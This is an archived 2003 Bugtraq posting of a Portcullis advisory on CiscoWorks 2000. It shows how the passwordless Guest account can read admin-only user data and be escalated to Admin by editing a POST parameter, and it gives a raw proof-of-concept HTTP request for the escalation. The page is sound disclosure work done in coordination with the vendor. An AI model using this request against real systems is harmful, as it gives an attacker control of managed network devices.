Portcullis Security Advisory: CiscoWorks 2000 Privilege Escalatio n Vulnerabilities

Omicron_at_portcullis-security.com
Date: 08/13/03

  • Next message: realy_blurred_vision: "DCOM & Win 2003 Server"
    To: bugtraq@securityfocus.com, vuln-dev@securityfocus.com
    Date: Wed, 13 Aug 2003 15:50:03 +0100
    
    

    Portcullis Security Advisory

    CiscoWorks 2000 Priviledge Escalation Vulnerability

    Vulnerability discovery and development:

    Omicron@portcullis-security.com

    Affected systems:

    Ciscoworks 2000

    Details:

    Portcullis have discovered that using the default Guest account
    which has no password set, that it is possible to view page information
    that the user should not have access to.

    Whilst requesting certain pages the raw HTTP shows a statement
    of who the logged on user is:

    HTTP/1.1 200 OK
    Date: Tue, 01 Jul 2003 13:01:12 GMT
    Server: Apache/1.3.24 (Unix) mod_perl/1.26
    Content-Length: 5
    Connection: close
    Content-Type: text/html

    guest

    By replacing guest with admin and using POST to sent on the information,
    (for the Modify\delete users page) the system responds with information
    on all the users on the site IE:

    user1::::7 user2::::2 portcullis:portcullis@anywhere.com:::3F admin::::F
    guest::admin::0

    This allows Guest to then view information restricted to the Admin account
    on all users on the system.

    Impact:

    Users are able to view information restricted to Administrators

    Exploit:

    As described in Details, edit raw HTML requests and replace user with a
    known one of higher privileges.

    Vendor Status:

    Vendor Confirmed.

    Following discussions with the vendor, Portcullis agreed to joint
    advisories. The Cisco advisory can be found at the following URL.

    http://www.cisco.com/warp/public/707/cisco-sa-20030813-cmf.shtml

    Portcullis Security Advisory

    CiscoWorks 2000 Privilege Escalation Vulnerability

    Vulnerability discovery and development:

    Omicron@portcullis-security.com

    Affected systems:

    Ciscoworks 2000

    Details:

    Portcullis have discovered that using the default Guest account
    which has no password set, that it is possible to elevate the Guest
    users privileges to the equivalent of Admin. Following this a new user
    account can be created with full rights and complete access to the
    systems managed by Ciscoworks.

    When submitting changes to the user account, the raw HTML shows
    the users information in the following string:

    cmd=modifyUser&name=guest&pwd=cGFzc3dvcmQ%3D&email=test%0test.com&ccoId=&cco
    Pwd=&proxyId=&proxyPwd=&priviledges=0

    From information obtained it is possible to change the users privileges from
    0 to F where F is the code for Admin rights.

    The Guest account can now create a new user with all available security
    options.

    Impact:

    Once access has been achieved, an attacker has complete control over
    all Cisco devices managed by Ciscoworks.

    Exploit:

    The following is provided as proof of concept.

    POST /CSCOnm/servlet/com.cisco.nm.cmf.servlet.CsAuthServlet HTTP/1.0
    Accept-Language: en
    Content-Type: application/x-www-form-urlencoded
    Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
    Host: 10.10.10.1:1741
    Content-Length: 114
    Proxy-Connection: Keep-Alive
    Pragma: no-cache
    Cookie: jrunsessionid=1057059156201223367

    cmd=modifyUser&name=guest&pwd=&email=&ccoId=&ccoPwd=&proxyId=&proxyPwd=&priv
    iledges=0

    Vendor Status:

    Vendor Confirmed.

    Following discussions with the vendor, Portcullis agreed to joint
    advisories. The Cisco advisory can be found at the following URL.

    http://www.cisco.com/warp/public/707/cisco-sa-20030813-cmf.shtml

    Copyright Portcullis Computer Security Limited 2003, All rights reserved
    worldwide.

    THIS INFORMATION HAS BE PROVIDED TO THE VENDOR and CERT
    FOR A MINIMUM OF 14 DAYS PRIOR TO PUBLIC RELEASE.

    Permission is hereby granted for the electronic redistribution of this
    information. It is not to be edited or altered in any way without the
    express written consent of Portcullis Computer Security Limited.

    Disclaimer: The information herein contained may change without notice. Use
    of this information constitutes acceptance for use in an AS IS condition.
    There are NO warranties, implied or otherwise, with regard to this
    information or its use. Any use of this information is at the user's risk.
    In no event shall the author/distributor (Portcullis Computer Security
    Limited) be held liable for any damages whatsoever arising out of or in
    connection with the use or spread of this information.

    *************************************************************
    The information in this email is confidential and may be
    legally privileged. It is intended solely for the addressee.
    Any opinions expressed are those of the individual and do not
    represent the opinion of the organisation.
    Access to this email by persons other than the intended
    recipient is strictly prohibited.
    If you are not the intended recipient, any disclosure, copying,
    distribution or other action taken or omitted to be taken in
    reliance on it, is prohibited and may be unlawful.
    When addressed to our clients any opinions or advice contained
    in this email is subject to the terms and conditions expressed
    in the applicable Portcullis Computer Security Limited terms
    of business.
    **************************************************************


  • Next message: realy_blurred_vision: "DCOM & Win 2003 Server"

    Relevant Pages

    • Portcullis Security Advisory: CiscoWorks 2000 Privilege Escalatio n Vulnerabilities
      ... Portcullis Security Advisory ... CiscoWorks 2000 Priviledge Escalation Vulnerability ... Portcullis have discovered that using the default Guest account ... Portcullis have discovered that using the default Guest account which has no password set, that it is possible to elevate the Guest users privileges to the equivalent of Admin. ...
      (Bugtraq)
    • Re: Allowing file share browsing for un-authenticated users
      ... It seems that if I simply enable the guest account on my Server ... Guest account still allows me to enumerate file shares so that Network ...
      (microsoft.public.windows.server.general)
    • Re: Two-computer network, MSHOME is not accessible" on both
      ... ...., which says, "The guest account is intended for use by someone who ... On the portable computer is turned off. ... Administrators: Administrator, and the account I normally use. ...
      (microsoft.public.windowsxp.network_web)
    • Re: Workgroup Networking Issues with 2 XP MCE
      ... Dell) to fully acess each other's files. ... I was able to access and map HP network drives on Dell, ... password to the guest account, but username is not changeable to login with a ... Type this line at a command prompt to enable the Guest account for ...
      (microsoft.public.windowsxp.network_web)